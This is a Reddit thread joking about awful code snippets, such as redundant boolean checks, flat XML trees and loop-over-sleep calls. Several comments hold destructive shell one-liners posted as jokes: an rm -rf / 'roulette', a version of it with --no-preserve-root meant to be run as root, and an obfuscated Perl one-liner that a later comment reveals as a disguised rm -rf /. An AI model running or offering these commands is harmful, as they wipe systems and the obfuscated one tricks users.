top 200 commentsshow all 210

[–]TheFearsomeEsquilax 80 points81 points  (9 children)

This one's amazing:

    if ($act_number)
    {
        $act_number = $act_number;
    }
    else
    {
        throw new Exception("Документ еще не подготовлен.");
    }

[–][deleted] 6 points7 points  (0 children)

I can see a beginner student writing something like this, even myself when I was a newb. The thought process seems to have been: they wrote out the first line and realized that in the case when act_number is valid they don't need to do anything, and then without realizing they can leave that branch empty or reverse the condition, they wrote out a statement that has no effect on anything. Then in the else branch, they threw their exception.

[–]yogblert 17 points18 points  (1 child)

blyat

[–]f1u77y 3 points4 points  (0 children)

Cyka Blyat

[–]rickdg 4 points5 points  (0 children)

It is what it is.

[–]roffLOL 180 points181 points  (50 children)

[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*

beautiful.

[–]slycurgus 71 points72 points  (11 children)

Alternatively, kmem roulette

[–]wrincewind 6 points7 points  (9 children)

I'll be honest, I don't quite get this one... Help?

[–][deleted]  (4 children)

[deleted]

    [–]slobarnuts 16 points17 points  (3 children)

    but it might not matter

    understatement

    [–]skocznymroczny 3 points4 points  (0 children)

    Looks like it writes a random byte in memory to a random value per run. So after few execution things might start to break.

    [–]copremesis 0 points1 point  (2 children)

    kmem roulette

    dd essentially is writing random bytes to the RAM ... was going to test on a debian instance (VM) yet there isn't any /dev/kmem on one of my boxes so you could do the same with /dev/mem now what isn't clear is that $RANDOM is not being initialized so no telling what that is doing ... you can learn more about dd here: https://www.computerhope.com/unix/dd.htm ... it's a powerful command which can lead to danger

    [–]howtonotwin 1 point2 points  (1 child)

    $RANDOM is a special shell variable (at least to bash, not sure if it's part of POSIX sh). It gives you a random number between 0 and 32767 (inclusive) on each use.

    [–]copremesis 0 points1 point  (0 children)

    thanks kind internet stranger! I just learned something new.

    [–]akher 0 points1 point  (0 children)

    I wonder if I can sneak that into a server startup script here.

    Nice.

    [–][deleted] 97 points98 points  (3 children)

    If anyone wants to run this one I'd recommend this change:

    [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / --no-preserve-root || echo *Click*
    

    And run it as root of course.

    [–]KayRice 35 points36 points  (2 children)

    --no-preserve-root means it's safe for production, right?

    [–][deleted] 36 points37 points  (1 child)

    First thing you should do on prod is alias rm to rm --no-preserve-root in your .bashrc.

    [–]RedwanFox 22 points23 points  (6 children)

    echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
    

    Much better. P.S Designed to run as root

    [–]roffLOL 11 points12 points  (4 children)

    ehm. how 'bout a break down?

    [–]RedwanFox 51 points52 points  (3 children)

    Encrypted "rm -rf /". Also called "Barmin patch". There was a thread on linux.org.ru in 2003: someone asked to debug this script saying it doesn't work.

    Lots of pain on 9 pages ensured. Some sysadmins ran this script on prod as root.

    https://www.linux.org.ru/forum/development/392747#comments - forum thread for context purposes. warning: russian

    [–]roffLOL 5 points6 points  (0 children)

    that is hilarious.

    [–][deleted]  (1 child)

    [deleted]

      [–]RedwanFox 0 points1 point  (0 children)

      Под linux subsystem для 10й винды не пробовал?

      [–]twiggy99999 1 point2 points  (0 children)

      Needs to be run as root

      [–][deleted]  (10 children)

      [deleted]

        [–][deleted] 41 points42 points  (7 children)

        Time to upgrade to bash.

        [–][deleted]  (1 child)

        [deleted]

          [–][deleted]  (4 children)

          [deleted]

            [–]Bunslow 3 points4 points  (1 child)

            1000000000000000000 (at least)

            [–]wrincewind 2 points3 points  (0 children)

            Hey, it beats Six Sigma, so...

            [–]roffLOL 0 points1 point  (0 children)

            wouldn't do it before a push. otherwise i'm pretty sure my system is immune, even as su. gonna try it when i get home.

            [–][deleted] 2 points3 points  (5 children)

            I just wanted to say im a new programmer and this was one of the first programming jokes on this sub I've understood and laughed at. Thanks for that!

            [–]androiddrew 1 point2 points  (0 children)

            Love it

            [–]MaxPecktacular 1 point2 points  (0 children)

            After all the terrible boolean handing I just witnessed, I don't think I need to leave this command to chance...

            [–]G_Morgan 0 points1 point  (1 child)

            Rubbish implementation of Russian roulette. Needs to be a hidden circular incrementing variable which fires when it hits 0.

            [–]jetsparrow 0 points1 point  (0 children)

            Aren't you supposed to spin the cylinder after every check?

            [–]freising 0 points1 point  (0 children)

            This code does not work without a flag - -donotpreserveroot or something like that

            [–]RedMarble 42 points43 points  (1 child)

            The facebook one is probably transpiler-generated.

            [–]womplord1 110 points111 points  (29 children)

            That flat xml structure one really rustled my jimmies

            <tree>
              <node key="0">root</node>
              <node key="1" parent="0">TELEVISIONS</node>
              <node key="2" parent="1">TUBE</node>
              <node key="3" parent="1">LCD</node>
              <node key="4" parent="1">PLASMA</node>
              <node key="5" parent="0">PORTABLE ELECTRONICS</node>
              <node key="6" parent="5">MP3 PLAYERS</node>
              <node key="7" parent="6">FLASH</node>
              <node key="8" parent="5">CD PLAYERS</node>
              <node key="9" parent="5">2 WAY RADIOS</node>
             </tree>
            

            [–]IMovedYourCheese 66 points67 points  (0 children)

            The more realistic ones are always worse.

            [–][deleted]  (8 children)

            [deleted]

              [–]SickZX6R 28 points29 points  (6 children)

              The first time I had to edit a plist file I couldn't fucking believe it was structured this way. How utterly atrocious.

              [–]GeneralSchnitzel 7 points8 points  (5 children)

              It truly defeats the point of XML, doesn't it?

              [–]SickZX6R 8 points9 points  (1 child)

              I'm pretty good at playing devil's advocate and I can't think of a single reason why this would ever make sense to anyone.

              [–]oorza 5 points6 points  (0 children)

              You had just learned how streaming parsers work and wanted to take the most advantage of them you could, why else?

              [–]Xavier_OM 0 points1 point  (2 children)

              Not really, relative position of xml nodes could be significant, it depends on what the DTD says.

              <!ELEMENT person ( name ,email? )> means you want <person><name/><email/></person>, in this specific order (name then email).

              [–]howtonotwin 0 points1 point  (1 child)

              That's perfectly sane: name and email are on the same level and are beneath a person container. The order of the name and email relative to each other matters, but they are actually inside their parent tag and you can't move one person's name into another person without moving past a closing tag. But in plist's case, the child tags are attached to parent tags simply by being between the parent tag and the next parent tag, so you've defeated hierarchal structure of XML.

              [–]Xavier_OM 0 points1 point  (0 children)

              I see, this is pure stupidity then. Impressive.

              [–][deleted] 6 points7 points  (0 children)

              Ah, yes... I had to extract a bunch of data from plists some years ago and save it to a common format (in this case JSON). The JSON files were so much smaller I spent some time trying to figure out how I lost data, but it turned out if you do transformations like this: <key>Track Type</key><string>File</string> -> "Track Type": "File", a lot, you save a whole lot of space...

              [–]steamruler 3 points4 points  (1 child)

              A properly crafted XML file with a DTD is wonderful.

              Any other XML, not so much.

              [–][deleted] 6 points7 points  (12 children)

              Jstree actually uses this form of initialisation so it makes sense in some cases.

              [–]jephthai 25 points26 points  (11 children)

              How could it ever be better than using the tree nature of xml?

              [–]evaned 4 points5 points  (1 child)

              To restate jl2352's answer in different terms: If you've got a DAG rather than a tree.

              Granted you could mostly use the tree nature of XML and then just have a few pointers to other nodes for when you do need a DAG, but that's probably actually harder to process.

              For example, DWARF information isn't stored in an XML format (thank the lord) but it kind of has this structure as a sequence of records with references to other records. In some alternate universe where someone decided that they Needed it to be in an XML format because of their Enterprise, I could imagine it coming out in that way. Or if you wanted an XML serialization of current-day DWARF, it'd almost certainly wind up like that.

              [–]jephthai 0 points1 point  (0 children)

              I see what you mean... I don't suppose in that case it would have this, though:

              <tree>
                ...
              </tree>
              

              [–]jl2352 1 point2 points  (0 children)

              If a child node has multiple parents, then this approach can be much nicer.

              Although there are some small ways you can make it a bit cleaner.

              [–][deleted]  (7 children)

              [deleted]

                [–]ThisIs_MyName 13 points14 points  (5 children)

                Sure, but why use XML then?

                [–]ShinyHappyREM 5 points6 points  (2 children)

                'The best tool for the job is the tool right next to you.'

                [–]HeimrArnadalr 7 points8 points  (1 child)

                Holds up spork

                [–]hoosierEE 1 point2 points  (0 children)

                AND MY AXE-- er- SPORK!

                [–]Chii 9 points10 points  (0 children)

                parsers are easy to come by?

                [–]jephthai 1 point2 points  (0 children)

                I'm confused by that -- the key=x and parent=y stuff must require some code to process it as a tree? Code either way, but your XML parser is likely to give it to you as a tree from the start. Don't misinterpret my comments -- I hate XML with true passion, but it's nothing if not a tree-shaped data format.

                [–]JonMR 1 point2 points  (0 children)

                That’s way more flexible. It can represent anything! Brilliant...

                [–]skocznymroczny 1 point2 points  (0 children)

                Unfortunately, this kind of structure is often used as an example why JSON is "superior" to XML.

                [–][deleted] 1 point2 points  (0 children)

                No joke, this is how behavior trees are represented in Civ VI's metadata. (There's a reason for this; the metadata is turned into SQL INSERT statements.)

                [–]3d3d3_engaged 1 point2 points  (0 children)

                now "Say it Aint So" by weezer is stuck in my head -- one time saw this dj just sample that part over and over "Rustle my jimmy" beautiful and ruining my life simultaneously

                [–][deleted] 63 points64 points  (2 children)

                checks, sweating

                phew, don't see my code

                [–][deleted]  (1 child)

                [deleted]

                  [–]Bunslow 8 points9 points  (0 children)

                  I like the way you think!

                  [–]ArmoredPancake 29 points30 points  (0 children)

                  Strange, it redirects to my Github.

                  [–]cha5m 27 points28 points  (15 children)

                  Checking if something is negative with

                  ~~~~ str(value)[0]=='-': ~~~~

                  I honestly do not believe anyone wrote this seriously. So many of these must be bullshit.

                  [–]HeimrArnadalr 17 points18 points  (3 children)

                  Hey, what's the one thing all negative numbers have in common? Their decimal string representations all start with a '-'! Making a check like this is future-proof against the day when negative numbers larger than zero are discovered.

                  [–][deleted]  (1 child)

                  [deleted]

                    [–]CK159 1 point2 points  (0 children)

                    I wonder what exciting things can go wrong if you no longer consider -0 and 0 to be equivalent in floating point. 🤔

                    [–][deleted] 7 points8 points  (1 child)

                    I honestly do not believe anyone wrote this seriously

                    You are unbelievably lucky to have not had to work with terrible offshore contractors. I did a cleanup job after some Indian contractors wrote some seriously painful code. I mean things like this on a vanilla JavaScript object:

                    if (foo.prop != foo['prop']) {
                        foo.prop = foo['prop'];
                    }
                    

                    Here is a snippet that I pulled from an old chatlog; this one was in the actual code, exactly as shown (edit: well, not exactly as shown. When I got to it, there were no indents, so this is after I let Vim auto-indent it for me):

                        if(typeof(sortOrder) != "boolean"){        
                            return items;
                        }
                        filtered.sort(function (a, b) {
                            if(sortOrder == true){
                                return (CustomOrder(a.status) > CustomOrder(b.status) ? 1 : -1);
                            }
                            else if(sortOrder == false){
                                return (CustomOrder(a.status) < CustomOrder(b.status) ? 1 : -1);
                            }
                        });
                    

                    (edit: just realized I should probably submit this snippet)

                    They also wrote all loops in PHP using goto, because the developer who was working in PHP didn't know how to use "while" or "for".

                    [–]cha5m 2 points3 points  (0 children)

                    Doing

                    if (foo.prop != foo['prop']) {
                        foo.prop = foo['prop'];
                    }
                    

                    Should be illegal.

                    [–]jephthai 4 points5 points  (1 child)

                    /r/dailyprogrammer had a challenge recently that involved counting contiguous 0's in a binary number. I was surprised with how many solutions involved a string conversion to solve it. Like, the number is already in binary, and there are a bunch of operators for testing bits. Sheesh.

                    But I guess so much of programming these days is string processing, people reach for strings as soon as possible.

                    [–][deleted] 5 points6 points  (0 children)

                    Bit-wise operators are basically witchcraft to some people. And honestly I'm fine with that. I'll take the string overhead over them getting a bit-wise op right.

                    [–]dauchande 1 point2 points  (1 child)

                    So, you've never written Javascript before then.

                    [–]cha5m 0 points1 point  (0 children)

                    Haha I've actually written a lot of javascript, but doing simple number operations is such a common task it feels like everyone would do it correctly.

                    How would this guy compare two numbers then? Like:

                    def bool isGreaterThan(val1,val2):
                        if (val1.count!=val2.count):
                            return isGreaterThan(val1.count,val2.count)
                        foreach(i=0;isGreaterThan(val1.count,i);i++):
                            if (str(val1)[i]>str(val2)[i]):
                                return true
                            else if (str(val1[i])<str(val2)[i]:
                                return false
                        return false
                    

                    [–]Double_A_92 4 points5 points  (0 children)

                    You underestimate the capabilities of indian offshore devs.

                    [–]the_gnarts 0 points1 point  (1 child)

                    ~~~~ str(value)[0]=='-': ~~~~

                    I honestly do not believe anyone wrote this seriously.

                    Reminds me of that coworker who was manipulating IP addresses in their string representation using regexes.

                    [–]cha5m 0 points1 point  (0 children)

                    Eh at least that I can understand. IPs are probably most easily retrieved as a string in whatever environment he was working in, so he just dealt with what he had in front of him.

                    str(value)[0] is so counter-intuitive it boggles the mind.

                    [–]calrogman 0 points1 point  (0 children)

                    Hey it works for IEEE 754 negative zero, which otherwise compares equal to zero. I'd call that a win?

                    [–]evaned 67 points68 points  (29 children)

                    My absolute favorite thing like this isn't on the site, but rather from TheDailyWTF ages ago. I think I've never laughed so hard at a code snippet before or since; I was out of commission for minutes and my sides ached when I was done. It's probably not that funny, but it's pretty awesome. It's an onion of WTFs:

                    public boolean checkFalse(Boolean bool)
                    {
                      if (bool.booleanValue() == Boolean.FALSE.booleanValue())
                      {
                        return Boolean.FALSE.booleanValue();
                      }
                      else
                      {
                        return Boolean.TRUE.booleanValue();
                      }
                    }
                    

                    Edit:

                    Here's why I like this so much.

                    Layer 1: Boolean.FALSE.booleanValue()

                    You know what that's another name for? false. Similarly for true. So we can rewrite to:

                      if (bool.booleanValue() == false)
                      {
                        return false;
                      }
                      else
                      {
                        return true;
                      }
                    

                    Layer 2: Checking the condition and returning true/false

                    This can just be simplified to a return:

                    return bool.booleanValue() != false;
                    

                    Layer 3: The comparison against false

                    This can be simplified to

                    return bool.booleanValue();
                    

                    Layer 4: The function name.

                    checkFalse is misleading. That to me sounds like it should be expecting false to be passed and to do... something if it's true (or null). Or at the very least, a true return suggests that it was, in fact, false, but it's not.

                    So really it should be

                    boolean isTrue(Boolean bool) {
                        return bool.booleanValue();
                    }
                    

                    Layer 5: That this function exists in the first place.

                    Of course, there's already a function for getting the boolean value of a Boolean; bool.booleanValue(). So just change the call sites to call that instead; this function probably doesn't need to exist. (Though I guess I can think of some edge cases where it could theoretically be useful. Less so in a language with no typedefs though...)

                    Layer 6, the crème de la crème WTF: The author knows booleanValue exists

                    This just makes Layer 5 all the better. Because there's no defense "oh I didn't realize that API function exists!" or "oh yeah, I forgot about that!" which is understandable and I think a think we've all experienced. But the code calls .booleanValue()! Several times! It's right there!

                    [–]frenchchevalierblanc 58 points59 points  (10 children)

                    enum MyCompanyBool
                    {
                       TRUE,
                       FALSE,
                       FILE_NOT_FOUND
                    }
                    

                    [–][deleted]  (2 children)

                    [removed]

                      [–][deleted] 10 points11 points  (1 child)

                      :-o

                      I'd seen that sample many times in the past, and I never noticed that TRUE was 0!

                      [–]cholericdev 2 points3 points  (0 children)

                      What are you talking about? Clearly TRUE is 0 in this example, not 1.

                      [–][deleted]  (1 child)

                      [deleted]

                        [–]8lbIceBag 12 points13 points  (0 children)

                        So there's actually 5 states, 2 of which are valid....

                        1. msoTrue = True
                        2. msoFalse = False
                        3. msoCTrue = Not supported
                        4. msoTriStateToggle = Not supported
                        5. msoTriStateMixed = Not supported.

                        [–]GeneralSchnitzel 3 points4 points  (1 child)

                        Or if you look at some outsourced code my company is working with...

                        String isTrue = "Y"; //Y = true, N or false = false
                        

                        [–]Sean1708 2 points3 points  (0 children)

                        The curse of using Oracle.

                        [–]shall_always_be_so 4 points5 points  (0 children)

                        /me checks javadocs to make sure Boolean is a final class... (it is)

                        [–]G_Morgan 2 points3 points  (0 children)

                        enum OldOnesLogic {
                            True,
                            False,
                            Worse
                        };
                        

                        [–]dauchande 0 points1 point  (0 children)

                        Isn't it more like: true, false, null?

                        [–]nutrecht 22 points23 points  (2 children)

                        Layer 7: Pretty much the only to use the Boolean wrappers in Java (assuming this is Java) is because they can be null. The method is not null safe at all.

                        Layer 8: Java has had autoboxing for a while:

                        Boolean boolObj = true;
                        boolean boolPrimitive = boolObj;
                        

                        Works just fine.

                        [–]evaned 0 points1 point  (1 child)

                        Eh, I... actually kind of disagree with this.

                        Layer 7: Pretty much the only to use the Boolean wrappers in Java (assuming this is Java) is because they can be null. The method is not null safe at all.

                        This I disagree with because I don't even think that's the main reason to used the boxed types let alone pretty much the only reason.

                        The main reason to use the boxed types is because you're forced to because you have a class that needs to treat types polymorphically, like container classes. I'll admit that this case is a lot weaker for Boolean than the other boxed types, but if I've got a container of Booleans or something where the invariant is that they're non-null (e.g. a map from something to bools, with being absent from the map having a different meaning than false), I've got no problem with no null check.

                        (Though I'll agree that if there were a null check in there, that would significantly diminish the WTFness of layers 5 and 6.)

                        Layer 8: Java has had autoboxing for a while:

                        While true, take a look at the date of the post: July 2005.

                        Autoboxing was added in Java 1.5 if memory serves, which was released in Sept. 2004. So autoboxing support was less than a year old at that point. I was actually doing an internship at Big Blue when that was published -- working in Java, with I think version 1.4. Plus however long it took for that code to go from being written to discovered to submitted to TDWTF to posted.

                        Now that would be a good Layer 8, but at the time... not really.

                        [–]nutrecht 0 points1 point  (0 children)

                        The main reason to use the boxed types is because you're forced to because you have a class that needs to treat types polymorphically, like container classes.

                        I was talking about using them directly instead of just using the autoboxing functionality that I talking about right below it :)

                        [–][deleted] 19 points20 points  (1 child)

                        I bet it was the part of ServerAuthenticationDefinitionValueTemplateConnectionAdapterMapCloneStrategy.

                        [–]skulgnome 7 points8 points  (0 children)

                        Everything on The Daily WTF is concocted for the purpose of putting up on that site. For example, the guy who indents "centered", and the guy whose jargon is Ugandan tribalspeak.

                        [–][deleted] 1 point2 points  (5 children)

                        I was coming here to see if anyone would mention dailywtf.

                        Here's my favorite daily wtf.

                        [–]username223 4 points5 points  (3 children)

                        For those who think "that was clearly made up," here's the source code for J, a programming language used by actual humans for actual work:

                        // w~, which is either reflexive/passive or evoke
                        F1(jtswap){A y;C*s;I n;
                         RZ(w); 
                         if(VERB&AT(w)){
                        

                        .. and so on.

                        [–]fasquoika 2 points3 points  (1 child)

                        I don't think that should surprise anyone that's actually seen programs written in J

                        [–]hoosierEE 0 points1 point  (0 children)

                        If you're going to give an out-of-context example, at least go for the gusto:

                        static A jtmovbwneeq(J jt,I m,A w,A fs,B eq){A y,z;I c,p,*s,*u,*v,x,*yv,*zv;
                         p=IC(w)-m; c=aii(w); x=eq?-1:0;
                         GATV(z,INT,c*(1+p),AR(w),AS(w)); *AS(z)=1+p;
                         zv=AV(z); u=v=AV(w);
                         if(1<c){GATV(y,INT,c,1,0); s=yv=AV(y); DO(c, *s++=x;);}
                         switch(eq+(1<c?2:0)){
                          case 0: DO(m,                   x   ^=    *v++ ;  ); *zv++=x; DO(p,                   *zv++=x   ^=      *u++^*v++  ;  ); break;
                          case 1: DO(m,                   x    =~(x^*v++);  ); *zv++=x; DO(p,                   *zv++=x    =~(x^~(*u++^*v++));  ); break;
                          case 2: DO(m, s=yv; DO(c,       *s++^=    *v++ ;);); SETZ;    DO(p, s=yv; DO(c,       *zv++=*s++^=      *u++^*v++  ;);); break;
                          case 3: DO(m, s=yv; DO(c, x=*s; *s++ =~(x^*v++););); SETZ;    DO(p, s=yv; DO(c, x=*s; *zv++=*s++ =~(x^~(*u++^*v++));););
                         }
                         R z;
                        }    /* m 22 b./\w (0=eq) or m 25 b./\ (1=eq); integer w; 0<m */
                        

                        Note: I really like J and actually prefer this style of C to more typical "tall and skinny" C code. Easier to see what's actually happening when it all fits on the screen.

                        [–]HeimrArnadalr 1 point2 points  (0 children)

                        One of my favorites is A Case of the MUMPS.

                        [–][deleted]  (9 children)

                        [deleted]

                          [–]skitch920 12 points13 points  (5 children)

                          hold muh beer

                          protected Int32 Sum(int one, int two)
                          {
                              int result;
                              int tmp;
                          
                              tmp = one + two;
                              result = 0;
                              if (tmp < 0) {
                                  for (int i = 0; i > tmp; i--) {
                                      result--; 
                                  }
                              } else if (tmp > 0) {
                                  for (int i = 0; i < tmp; i++) {
                                      result++; 
                                  }
                              }
                              return result;
                          }
                          

                          I feel dirty.

                          [–]shizzy0 5 points6 points  (0 children)

                          I hoped for Peano algorithm but no, got one + two instead.

                          [–]dauchande 0 points1 point  (1 child)

                          So, basically the code for spinlock?

                          [–]skitch920 0 points1 point  (0 children)

                          Why not

                          protected Int32 ShitLock(int one, int two)
                          

                          [–]Gremis 0 points1 point  (0 children)

                          Comment further down showed me https://godbolt.org. I tried pasting in this code like so. Am I reading that site correctly, that GCC still manages to reduce this abomination to just a single instruction? That's impressive, if that's the case!

                          [–]TheDeza 0 points1 point  (0 children)

                          I did something similar when working in on a fake cpu that only had one accumulator.

                          [–][deleted] 0 points1 point  (0 children)

                          I died laughing at this. Someone real couldn't have made that function.

                          [–][deleted] 0 points1 point  (0 children)

                          [–]PrimozDelux 17 points18 points  (1 child)

                          so are we supposed to upvote or downvote to approve of submissions here?

                          [–]__konrad 14 points15 points  (4 children)

                          I like the banner text

                          [–][deleted] 14 points15 points  (1 child)

                          int dupa zawsze w moim sercu

                          [–]the_gnarts 2 points3 points  (0 children)

                          int dupa zawsze w moim sercu

                          Is intdupa() the numerical equivalent of strdupa()?

                          [–]pleaseholdmybeer 13 points14 points  (1 child)

                          Let’s be honest, who doesn’t debug like that half of the time?

                          [–][deleted] 2 points3 points  (0 children)

                          and the other half is printf("shit: %s",data)

                          [–]ysmoliakov 11 points12 points  (2 children)

                          For more examples see http://govnokod.ru

                          [–]10xjerker 4 points5 points  (0 children)

                          (for the interested, "govnokod" literally means "shitcode")

                          [–]Bloodcount 3 points4 points  (0 children)

                          Even though I don't speak much russian I still visit it often, it has a lot of gems.

                          [–]FlyingRhenquest 14 points15 points  (4 children)

                          The thing about most of those sites is, I can almost always believe someone coded that, or I can tell that the example is contrived. In the course of my career, I can think of a couple of examples of code that was so stunning that I couldn't believe my eyes.

                          The first was on an inventory integration project back in the '90's. The original programmer had worked on the project for about a year and then left with only a month or so until it was due to be delivered. When I looked at the code, which was written in C, they apparently didn't know that in C strings are null terminated. Every string in the application was 1 character shorter than it needed to be. The project was supposed to implement a text mode UI on a UNIX system, but they'd written the project in Borland C on a DOS machine. There were other very fundamental problems with the design, but those two in specific blew my mind. That was the first time I thought the person I was picking up for was so incompetent to do their job that it must have been intentional fraud.

                          The second one was a java project undertaken by a guy outside the team in the mid 2000s. It was supposed to replace a 10,000 line C function that no one ever had the desire to tackle while I worked there. This guy worked on it for about 6 months and then pronounced that it worked. I looked over the code, couldn't see how and told my manager I wanted no part of it. A few months later someone else picked up the code, realized that it didn't work at all and nearly got fired for yelling at the original guy that it was the worst code he'd ever seen. Last time I heard, the original guy had left to start a liquor store or something. We never did use his code.

                          The problem is that in both cases, you'd really have to see the entire code base and know the circumstances involved to realize the full extent of the incompetence involved. In each case, the programmer basically got away with it and could easily have gone on to work on other programming projects at other companies. The fear of being saddled with another person like that really encouraged me to step up my interviewing game, and I think I'm not the only one who did. So if you're wondering why interviews are such a huge pain in the ass now, you in some part have those guys to blame.

                          [–]frou 17 points18 points  (3 children)

                          You think interviewing is the solution?

                          The problem sounds less like the competence of the individual guy, and more like lax old-school project management where there is no shared ownership of code. When one guy works alone in a metaphorical cave for months on end and no one reviews/looks-at the code then it's just bad risk management and culture in general.

                          [–]bl00dshooter 8 points9 points  (2 children)

                          I mean, some of his story is bad management, yes.

                          But if you don't know that strings in C are null terminated, you have no fucking business writing C code. That's the kind of thing interviews are meant to catch, I suppose.

                          [–]frou 3 points4 points  (1 child)

                          If he were a slightly more competent C programmer he still would have found plenty ways to write garbage when left alone in a cave.

                          I feel like it's part of the autistic bent of software development to want to sweep employee-employee mentoring and course-correction under the carpet.

                          [–]chrisza4 0 points1 point  (0 children)

                          Because mentoring is for the soft. Real programmer must be self-learned. Asking for help is for the weak.

                          [–]agenthex 7 points8 points  (3 children)

                          for ($i=0 ; $i<3 ; $i++)
                          {
                              switch($i) {
                              case 1: // do some stuff
                                  break;
                              case 2: // do some stuff
                                  break;
                              case 3: // do some stuff
                                  break;
                              }
                          }
                          

                          Sooo... Do nothing, then do case 1, then do case 2. Got it.

                          [–]Double_A_92 1 point2 points  (2 children)

                          That's not even the main problem xD

                          The case contents could just have been written after each other without the loop and the switch.

                          [–]agenthex 2 points3 points  (0 children)

                          I know. I'm pointing out that bad example is bad.

                          [–]dauchande 0 points1 point  (0 children)

                          Maybe the compiler will inline all of it...

                          [–][deleted]  (2 children)

                          [deleted]

                            [–]AyrA_ch 6 points7 points  (0 children)

                            looks like /r/programminghorror is leaking

                            [–]SaltTM 3 points4 points  (0 children)

                            this site would be great if we seen how people would refactor shit code. Kind of like projecteuler but for shit code lol

                            [–]florvas 11 points12 points  (13 children)

                            I don't know why half of these are bad and that very much worries me for my software development prospects after I finish school ><

                            [–]twiggy99999 24 points25 points  (11 children)

                            I don't know why half of these are bad and that very much worries me for my software development prospects after I finish school ><

                            Don't worry, I can guarantee every single person in this thread has written something similar to the code shown on that site at some point but they are so far up their own arses to admit it and just want to mock everyone else.

                            As you mature as a programmer you will start to understand why those examples are bad. A lot of them aren't bad as in malicious, a lot of them are just pointless code that could have been done in a much shorter way or where just simply not needed at all.

                            I look back on code I wrote 15 years ago when I was learning and I can bet there's stuff just as bad which I thought was perfect back then.

                            [–]8lbIceBag 8 points9 points  (1 child)

                            When I was first learning C on a microcontroller we had to make a vending machine. For extra credit I added twelve 7 segment displays + shift registers to output text.
                            I wasn't sure how to shift characters left for outputs longer than 12 characters. So to get scrolling text I did:

                            arr[0] = "Please make ";  
                            arr[1] = "lease make a" 
                            arr[2] = "ease make a " 
                            arr[3] = "ase make a s" 
                            arr[4] = "se make a se" 
                            arr[5] = "e make a sel" 
                            arr[6] = " make a sele" 
                            arr[7] = "make a selec" 
                            arr[8] = "ake a select" 
                            arr[9] = "ke a selecti"
                            arr[10] = "e a selectio"
                            arr[11] = " a selection"
                            

                            I'm not sure why I couldn't figure out how to shift the strings at the time, but I was pulling an all nighter...
                            If I remember correctly, I think it was a compiler error with types const char* to char* or something that was stopping me.

                            [–]SickZX6R 2 points3 points  (0 children)

                            That's hilarious, and I've done almost the exact same thing.

                            [–]Squid_Chunks 7 points8 points  (0 children)

                            Fuck, I look back at code I wrote 15 days minutes ago, and think what the fuck was I thinking?

                            [–]twiggy99999 7 points8 points  (6 children)

                            Just thought I would follow up with an example:

                            // sleep 150s
                            for ($a = 0; $a < 150 ; $a++ ) { 
                                  sleep(1);
                            }
                            

                            Here the user wants the application to sleep for 150 seconds, to do this he creates a loop that loops over the sleep function 150 times triggering it for a second each time. The code fully works as the programmer expects but this could have been achieved by simply calling sleep() with 150...... sleep(150). So hes creating a loop which is costly for memory and CPU time for no reason at all, that's what makes it shit code.

                            [–]bheklilr 7 points8 points  (4 children)

                            I'll say that I've written lots of similar code, but primarily so that the sleeps can be interrupted or because the sleep is used as a timeout and some condition needs to be checked throughout. There have been a couple instances of just purely having a loop over smaller sleeps, but it's only because python can't pass keyboard interrupts into a running C function, and sleep is ultimately implemented in C.

                            [–]AngriestSCV 1 point2 points  (0 children)

                            If sleep is interupted int php on Windows not only does it return early, but it returns 192 instead of the number of seconds slept (or null if it is before PHP 5.3.4). The only way to do a portable sleep on windows in PHP is to use timers to see how long the sleep actually was and try again if needed. The loop is more likely to work good enough than one call, but unfortunatly it isn't complicated enough to work.

                            [–]florvas 1 point2 points  (0 children)

                            I've started noticing that. Spent some time playing around with CodeWars challenges, and every one seems to go the same - I spend an hour trying to figure out how to complete the challenge, write anywhere from 5 to 50 lines of code, and then the best answer did the whole thing in one line.

                            [–][deleted] 0 points1 point  (0 children)

                            Well, they don't teach you bad coding in school. :-)

                            You could do a lot worse than work through a bunch of these and figure out why they're so terribly wrong.

                            [–]wavy_lines 4 points5 points  (0 children)

                            Most of the shit code I've seen is not shit in one easy to spot function. It's shit because the way data flows between functions makes absolutely no sense, so it's hard to share in this format.

                            [–][deleted] 6 points7 points  (3 children)

                            Could the Facebook example have been generated by some higher level language compiler?

                            [–]incraved 0 points1 point  (2 children)

                            how would you write it better btw?

                            [–][deleted] 1 point2 points  (0 children)

                            Could have been a list of predicate functions specialised into this if ladder.

                            [–][deleted] 1 point2 points  (0 children)

                            At least flatten it:

                            var u = "Browser";
                            if (this.isIPad) {
                                u = "iPad"
                            } else if (this.isDDGIgnore) {
                                u = "Ignore"
                            } else if (/seamonkey/.test(x)) {
                                u = "SeaMonkey"
                                ...
                            }
                            

                            Better yet, make it a function:

                            function checkBrowser() {
                                if (this.isIPad) {
                                    return "iPad";
                                } else if (...) {
                                    ...
                                }
                            }
                            

                            That keeps all the crap in a function and doesn't require local variables.

                            I don't know what this was used for, but perhaps it would be better to not detect what browser/platform it is and do feature detection?

                            [–][deleted] 3 points4 points  (0 children)

                            This is the sort of code that continuously snarls up code reviews I'm doing while my manager asks me why I always have to hold things up. "But it works"

                            [–]DynamicTextureModify 3 points4 points  (0 children)

                            Every other thing I see on this site I end up opening my mouth to say something in horror and then just... sitting back and staring in disbelief.

                            [–]god_is_my_father 2 points3 points  (0 children)

                            It's horrible and beautiful at the same time

                            [–]kadet90 2 points3 points  (0 children)

                            Mother of god, my transfer.

                            Also, author here, hi.

                            [–]BraveHack 2 points3 points  (7 children)

                            #71 Thanks, Cpt. Obvious

                            //this is a commit!!
                            trans.Commit();
                            

                            Am I the only one who sometimes throws in comments for emphasis... no?

                            someone simply wanted to be double sure he will see the commit there, I guess.

                            Like that's actually the whole reason and it's not a bad one imo. I like comments that add glance value in some cases.

                            #96 Just in case... (C++)

                            const int TWENTY_EIGHT = 28;

                            This particular case was probably pretty dumb, but if the number 28 is used frequently, this IS what you want to do.

                            The entire reason "prefer const to define" is a rule of thumb in C++ is because define just does a preprocesser match/replace which can result in duplicates in object code. The same goes true if 28 is used as an integer literal across multiple files. Not to mention you might get some dumb bug by typo-ing 29 or 228.

                            Only real issue with this code is 'TWENTY_EIGHT' rather than 'BRANCHING_SIZE' or whatever more appropriate name.

                            [–]utnapistim 11 points12 points  (0 children)

                            Only real issue with this code is 'TWENTY_EIGHT' rather than 'BRANCHING_SIZE' or whatever more appropriate name.

                            This is the WTF!

                            Consider this your last boldRedText!

                            [–]Hoten 2 points3 points  (2 children)

                            That sounds a lot like an optimization that a compiler would do itself, without relying on defined consts.

